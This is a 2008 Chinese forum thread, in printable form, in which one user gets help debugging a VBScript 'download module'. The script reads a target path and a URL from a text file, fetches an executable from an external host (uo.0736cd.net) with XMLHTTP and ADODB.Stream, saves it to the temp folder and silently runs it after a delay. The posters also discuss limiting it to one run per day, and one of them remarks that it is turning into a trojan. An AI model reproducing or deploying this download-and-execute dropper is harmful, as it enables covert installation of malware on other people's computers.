标题: slore大哥求助!在这个VBS下载模块里添加一个条件“次数
[打印本页]
作者: hackhd
时间: 2008-1-29 00:38
标题: slore大哥求助!在这个VBS下载模块里添加一个条件“次数
slore大哥
如何加这个条件呢。检测下载的程序当天只运行一次
[
Last edited by hackhd on 2008-1-29 at 02:13 AM ]
作者: slore
时间: 2008-1-29 01:04
Dim wsh
Set wsh
= CreateObject("
wscript.shell"
)
Set fso
= CreateObject("
scripting.filesystemobject"
)
ys
= readtxt
("
c:\temp.txt",1
) 'ys的值等于TMEP。TXT文件的第一行
www
= readtxt
("
c:\temp.txt",2
) 'WWW的值等于temp.txt文件的第二行
'C:\TEMP.TXT文件的内容是
'"c:\not.exe"
'"http://uo.0736cd.net/notepad.exe"
hd www,ys
Function hd
(www,ys
)
Set Post
= CreateObject("
microsoft.XMLHTTP"
)
Post.Open "
GET",www,0
Post.Send
() '保存为VBS,执行到这里就提示无效的语法。怎么处理。
Set aGet
= CreateObject("
ADODB.Stream"
)
aGet.Mode
= 3
aGet.
Type = 1
aGet.Open
()
aGet.Write
(Post.responseBody
)
aGet.SaveToFile ys,2
wscript.sleep 10000
wsh.Run ys
'延迟过后执行下载文件
End Function
Function readtxt
(wr,line
)
If line
< 0
Then wr
= wscript.scriptfullname
If fso.fileexists
(wr
) Then
If fso.getfile
(wr
).size
= 0
Then
readtxt
= 0
Else
Set readfile
= fso.
OpenTextFile(wr,1
)
Set chickline
= fso.
OpenTextFile(wr,1
)
chickline.
ReadAll
txtline
= chickline.line
chickline.
Close
If line
> 0
And line
<= txtline
Then
i
= 0
Do While i
< line
i
= i
+ 1
If Not readfile.atendofstream
Then
strline
= readfile.
ReadLine
Else
strline
= 0
End If
Loop
readtxt
= strline
ElseIf line
<= 0
Then
readtxt
= readfile.
ReadAll
Else
readtxt
= 0
End If
readfile.
Close
End If
Else
readtxt
= 0
End If
End Function
代码没错。。。。错在…………
c:\temp.txt的内容应该为:
c:\not.exe
http://uo.0736cd.net/notepad.exe
作者: hackhd
时间: 2008-1-29 01:21
啊哦。。slore大哥一来就找到问题了。。。我的救星
作者: hackhd
时间: 2008-1-29 01:34
在前面声明一下
exe=fso.getspecialfolder(2)&"\"
'C:\TEMP.TXT文件的内容是
'第一行改为exe&"1.exe" 让它保存到临时文件夹去
Function hd(www,ys)
Set Post = CreateObject("microsoft.XMLHTTP")
Post.Open "GET",www,0
Post.Send() 法。怎么处理。
Set aGet = CreateObject("ADODB.Stream")
aGet.Mode = 3
aGet.Type = 1
aGet.Open()
aGet.Write(Post.responseBody)
aGet.SaveToFile ys,2 '这里提示无法写入 YS只能用绝对路径?
wscript.sleep 10000
wsh.Run ys '延迟过后执行下载文件
End Function
加个msgbox ys
发现这个值为exe&"1.exe" 那么这里就是直接把直放进去了
aGet.SaveToFile exe&"1.exe" ,2 咦,直接放进去也可以执行啊。为什么不可以呢。这里看到的这个exe&"1.exe"是我手动转换了一次。再放去脚本,脚本再转换一次。一共转了二次,所以正确。而直接放YS的话。脚本只转了一次。所以错误。怎么解决呢?
aGet.SaveToFile exe&ys,2 这样就行了。
[
Last edited by hackhd on 2008-1-29 at 02:06 AM ]
作者: slore
时间: 2008-1-29 14:20
文本里的exe是字符串
你脚本里的exe是变量。。。。
你在txt里写1.exe
在你的脚本里在调用hd的时候让ys=exe & ys
msgbox exe
msgbox "exe"
这个是区别。。。
作者: slore
时间: 2008-1-29 14:27
次数?你这个脚本就执行一次。。。。。
你可以检测temp下存在那个文件不。。。存在退出。
越来越像种马了?
作者: hackhd
时间: 2008-1-29 17:17
文件可以检测啊。
脚本只执行一次是因为还没有循环加上
以检测文件存在就退出的办法不可行。文件里要是有多个要下载的任务怎么办。
我现在想的是在TEMP。TXT文件下载过的做个标记 或者在下载模块里,设一个条件来记录次数。
[
Last edited by hackhd on 2008-1-29 at 05:32 PM ]
作者: slore
时间: 2008-1-29 17:42
Quote: |
Originally posted by hackhd at 2008-1-29 17:17:
文件可以检测啊。
脚本只执行一次是因为还没有循环加上
以检测文件存在就退出的办法不可行。文件里要是有多个要下载的任务怎么办。
我现在 ... |
|
那就由你自己定了……
只执行一次干么要循环……汗~
作者: hackhd
时间: 2008-1-29 17:55
这个又错哪里了。
dim wsh
set wsh=createobject("wscript.shell")
set fso=createobject("scripting.filesystemobject")
if fso.fileexists("c:\temp.txt") then
set openfile=fso.opentextfile("c:\temp.txt", 1)
one=openfile.readline
openfile.close
if one="1" then
msgbox one
end if
end if
TEMP内容就一个数字 1
MSGBOX就是弹不出来。如果把上面的IF ONE=“1” THEN删掉,msgbox才能弹出来
奇了怪了。好像又可以了
[
Last edited by hackhd on 2008-1-29 at 06:01 PM ]
作者: slore
时间: 2008-1-29 18:10
那就是你的one不是1啊
你msgbox """" & one & """"
检测下
作者: hackhd
时间: 2008-1-29 22:23
上下QQ吧。有段代码我想发给你看。